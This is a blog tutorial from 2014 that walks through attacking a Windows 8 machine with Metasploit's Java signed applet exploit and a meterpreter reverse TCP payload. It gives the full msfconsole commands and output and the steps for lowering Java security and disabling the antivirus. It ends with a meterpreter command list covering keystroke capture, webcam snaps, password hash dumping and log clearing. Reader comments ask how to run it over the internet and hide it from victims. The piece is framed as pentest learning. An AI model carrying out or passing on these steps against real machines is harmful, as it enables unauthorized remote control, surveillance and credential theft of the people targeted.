Thursday, May 29, 2014

Java signed applet Hack Windows 8 Java vulnerability

Purpose of this tutorial

In this tutorial we will look at how difficult it can be to hack modern operating systems. While you won't be getting the kind of results you were expecting, you will learn a lot here. The exploit will not work at first go, it will not work in the second go, it will eventually work, but we would have modified too many settings in the target OS to call it success. We will be using a pretty mainstream exploit here, the java signed applet exploit.
(Just in case you're new here. You need to have Kali Linux installed, as well as have some basic info about metasploit. Here is the collection of all tutorials. Read first few or maybe all. I write new posts assuming you've read the previous ones)

Hack any Windows Version

In the previous tutorials we have hacked Windows XP and tested a few Payloads and its features. In this tutorial, we will use a Java exploit to hack any Windows version. Now there are some things that you need to know-
  1. There are no 'type something on console and press enter' exploits for modern Operating Systems. They invest enough in security to patch any such vulnerabilities. 
  2. The modern operating systems have exploits where the user has to do something like click on a link, install some program, and in our case, allow java plugin to be used.
  3. The Operating systems are quite secure, however the applications installed by the users almost always have some bugs which can be exploited, and then by privilege escalation methods, you can get a administrator shell. Jave is widely used, and is, unfortunately, quite secure (but we will still use a  Java exploit here)
  4. If you have the latest OS and latest version of Java installed, then they already know how to deal with these kind of attacks and it won't work. We will use Windows 8 and Java 7 build 60 (I upgraded it today), and our exploit will not work. We will then see how to make it work. We will learn a lot of new things. Please follow along only if you have curiosity for knowledge, not just desire to hack.

Java Signed Applet Exploit (browser based exploit)

Some official words here, to help with your digestion-

This exploit dynamically creates a .jar file via the Msf::Exploit::Java mixin, then signs the it. The resultin
g signed applet is presented to the victim via a web page with an applet tag. The victim's JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the "Publisher" line. Newer JVMs display "UNKNOWN" when the signature is not trusted (i.e., it's not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks "run", the applet executes with full user permissions.

Follow these steps

Commands to execute in bold and red and instruction is green.

root@kali:~# service postgresql start[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploit start[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
root@kali:~# msfconsole _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.
       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1060 exploits - 659 auxiliary - 178 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
msf > use exploit/multi/browser/java_signed_applet (Java signed applet exploit)    msf  exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)

Exploit target:
   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > set PAYLOAD windows/meterpreter/reverse_tcp (meterpreter payload)PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(java_signed_applet) > show options
Module options (exploit/multi/browser/java_signed_applet):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   APPLETNAME      SiteLoader       yes       The main applet's class name.
   CERTCN          SiteLoader       yes       The CN= value for the certificate. Cannot contain ',' or '/'
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT         8080             yes       The local port to listen on.
   SSL             false            no        Negotiate SSL for incoming connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion      SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   SigningCert                      no        Path to a signing certificate in PEM or PKCS12 (.pfx) format
   SigningKey                       no        Path to a signing key in PEM format
   SigningKeyPass                   no        Password for signing key (required if SigningCert is a .pfx)
   URIPATH                          no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST IP needed here   yes       The listen address   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   1   Windows x86 (Native Payload)

msf  exploit(java_signed_applet) > set LHOST (type ifconfig to find your Kali IP) LHOST =>
msf  exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
msf  exploit(java_signed_applet) >
[*] Started reverse handler on
[*] Using URL:
[*]  Local IP: (copy this and paste it into the browser of computer you want to hack)[*] Server started.
[*]    java_signed_applet - Handling request
[*]    java_signed_applet - Handling request
[*]    java_signed_applet - Handling request
msf  exploit(java_signed_applet) >

On our Windows 8 machine

If you haven't installed Java then this is what you'll see.
If you have installed Java then this is what you'll see.

Now after you click run this time, you might end up seeing a dialog which blocked access to java plugin even after we allowed it.
If you are using an older version of Java, you might have gained access already, unless your antivirus detected the payload, which is basically a trojan (if you succeed here, a session will be created in metasploit, but it will be in background. See the end of tutorial to find out how to use that session and then come back here to see the scenario in case of Windows 8, there are things to learn) But it my case, now it's time to realize that we've taken a head on collision with a really secure operating system and the latest version of Java. Now, as I said, this will not work, but you can still give it your best shot.

Why won't it work

Java Sandbox

In technical terms : The java-sandbox allows you to securely execute untrusted code (for example, user generated scripts in scripting languages such as groovy or rhino) from within your application. It allows you to specify resources and classes that may be used by the code, thus, separating the execution from the application's execution environment. It allows to wrap execution environments in threads or even execute them remotely on different jvms.(sourceforge)

In less technical terms:In April, Oracle instituted a number of changes starting with Java 7u21. The new update introduced prompts warning users that an unsigned applet could potentially harm the user’s computer. This came months after Oracle changed Java’s default security settings from medium to high, essentially preventing unsigned applets from executing automatically, requiring instead a user to allow the applet to proceed. Developers must now sign their applets with a certificate from a trusted Certificate Authority. (threatpost)

In English : New versions of Java have an added feature known as Java sandbox. Whenever a java applet is loaded on a browser, it will firstly require user's permission to execute. After the user has given permission, the applet will load inside a sandbox (which is a runtime environment seperated from rest of the computer, like a cage, and the java applet is harmless as long as it is inside). That doesn't solve their problem though, as sandbox stops the Java applet to do much, thereby destroying the whole purpose, even for the genuine developers. So, Java restricts the unsigned applets from exercising much of their functionality, and only the signed applets can do anything. So, hats off to Oracle, for proving that even client side vulnerabilities are not that easy. And sorry to disappoint you guys, but I had to tell you how secure the modern operating systems are. Nevertheless, going to Java control panel, and security tab, will lead you to the conclusion that the Java security level is high by default. And even more mind boggling is the fact that the security levels are - medium, high, very high. Guess the days of 'low' security are gone. However, medium is just what we are looking for.
Sandbox is enabled in high level. 
Sandbox is disabled in medium level. That will solve our purpose here.
Now we opened our java applet again and this time a really dangerous looking security warning dialog came up. Nevertheless, we clicked on "I accept" and then run.
As if this wasn't enough. Windows had to interfere. I could almost hear Windows Defender saying, Java is good, but Microsoft still trusts it's own antivirus for security. Our exploit failed yet again. This time it was the antivirus.
You might have guessed, disable the antivirus.

Now, finally, I refreshed the URL, accepted the warning and allowed the applet to run. I got a new session on Metasploit. The sweet smell of success was highly diluted by the fact that we really rigged the game in our favour. In a real life scenario, you can't expect the AV to be disabled and the security settings set to anything other than the default value.

Use the following commands to switch to the created sessions
msf  exploit(java_signed_applet) > sessions

Active sessions

  Id  Type                   Information     Connection
  --  ----                   -----------     ----------
  1   meterpreter x86/win32  Home\Me @ HOME -> (

msf  exploit(java_signed_applet) > sessions -h
Usage: sessions [options]

Active session manipulation and interaction.


    -K        Terminate all sessions
    -c <opt>  Run a command on the session given with -i, or all
    -d <opt>  Detach an interactive session
    -h        Help banner
    -i <opt>  Interact with the supplied session ID
    -k <opt>  Terminate session
    -l        List all active sessions
    -q        Quiet mode
    -r        Reset the ring buffer for the session given with -i, or all
    -s <opt>  Run a script on the session given with -i, or all
    -u <opt>  Upgrade a win32 shell to a meterpreter session
    -v        List verbose fields

msf  exploit(java_signed_applet) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

From here, all the meterpreter functionality is available. Here is a list which can be obtained by typing help on meterpretor.
meterpreter > help

Core Commands
    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

Priv: Elevate Commands
    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes


If you've followed along so far, you might be feeling disappointed. While the feeling is natural, it is quite unnecessary. A better way to look at it is the first step in real world pentesting. All this while we were dealing with non-existent scenarios. Old unpatched grandma's Windows XP machines. These don't exist in the real world. In reality we have to deal with strong defenses, limited rights, antiviruses, firewalls, etc. Soon you'll be writing your own exploits (okay not that soon), and evading firewalls and antiviruses (what we did here is not called evasion, you can't simply turn off antivirus protection like that as you don't have access to the computer). In the next few tutorials we'll see how to get around all the things we did and shouldn't have done (disabling AV and reducing Java protection level). There are things that can't be avoided (the target has to go to a URL containing the applet and allow it to run), but we will try to make things as real world as possible. We will also move to some non-traditional exploits, as their AV detection rate is much less. We will look into encryption and anti-virus evasion in detail. Lot of things need to be done. Just remember, you are in hand to hand combat with one of the most secure systems you'll come across, and it's not gonna be easy.


  1. Replies
    1. The tutorial is for LAN but the exploit works on www to with proper changes in LHOST and other fields, and having open ports and a well configured listener running.

  2. I got the final nasty prompt warning. But even after I clicked on run, I still didn't get a session on metasploit.

  3. Good Tutorials But We need Methods To Client Dont Alarm For Anything Is Running On Our PC

  4. When I get the popup warning and put a check on the accept risk and run, nothing happens. On my kali machine the last line reads java_signed_applet - Sending SiteLoader.jar. Waiting for user to click 'accept'...
    but nothing happens after this

  5. Thank you for sharing! It's not hard as it seems to change router password for your wifi network, especially with

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  10. Exploiting Java vulnerabilities poses significant risks. Safeguard your system by staying informed about Java security updates and adopting preventive measures to counter potential threats. Stay secure online!
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  11. While I appreciate the effort put into this blog post, it's crucial to ensure the content aligns with ethical standards and promotes responsible use of technology. It's essential to prioritize user safety and security above all else when discussing topics related to hacking or exploiting vulnerabilities. Perhaps focusing on legitimate and constructive uses of Java programming would provide more value to readers. Overall, let's aim to contribute positively to the tech community by sharing knowledge ethically and responsibly.
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